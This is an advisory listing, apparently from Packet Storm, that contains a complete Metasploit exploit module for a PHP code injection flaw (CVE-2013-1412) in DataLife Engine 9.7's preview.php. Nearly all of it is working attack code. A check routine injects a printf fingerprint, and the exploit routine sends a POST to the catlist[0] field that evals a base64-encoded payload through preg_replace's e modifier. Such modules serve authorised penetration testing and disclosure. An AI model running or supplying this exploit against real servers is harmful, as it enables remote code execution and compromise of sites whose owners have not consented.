DataLife Engine preview.php PHP Code Injection

2013-02-01T00:00:00
ID PACKETSTORM:119978
Type packetstorm
Reporter EgiX
Modified 2013-02-01T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DataLife Engine preview.php PHP Code Injection',  
'Description' => %q{  
This module exploits a PHP code injection vulnerability DataLife Engine 9.7.  
The vulnerability exists in preview.php, due to an insecure usage of preg_replace()  
with the e modifier, which allows to inject arbitrary php code, when the template  
in use contains a [catlist] or [not-catlist] tag.  
},  
'Author' =>  
[  
'EgiX', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-1412' ],  
[ 'BID', '57603' ],  
[ 'EDB', '24438' ],  
[ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],  
[ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
'Keys' => ['php']  
},  
'DisclosureDate' => 'Jan 28 2013',  
'Targets' => [ ['DataLife Engine 9.7', { }], ],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])  
], self.class)  
end  
  
def base  
base = normalize_uri(target_uri.path)  
base << '/' if base[-1, 1] != '/'  
return base  
end  
  
def check  
fingerprint = rand_text_alpha(4+rand(4))  
res = send_request_cgi(  
{  
'uri' => "#{base}engine/preview.php",  
'method' => 'POST',  
'vars_post' =>  
{  
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"  
}  
})  
  
if res and res.code == 200 and res.body =~ /#{fingerprint}/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
  
print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")  
res = send_request_cgi(  
{  
'uri' => "#{base}engine/preview.php",  
'method' => 'POST',  
'vars_post' =>  
{  
'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"  
}  
})  
end  
end  
`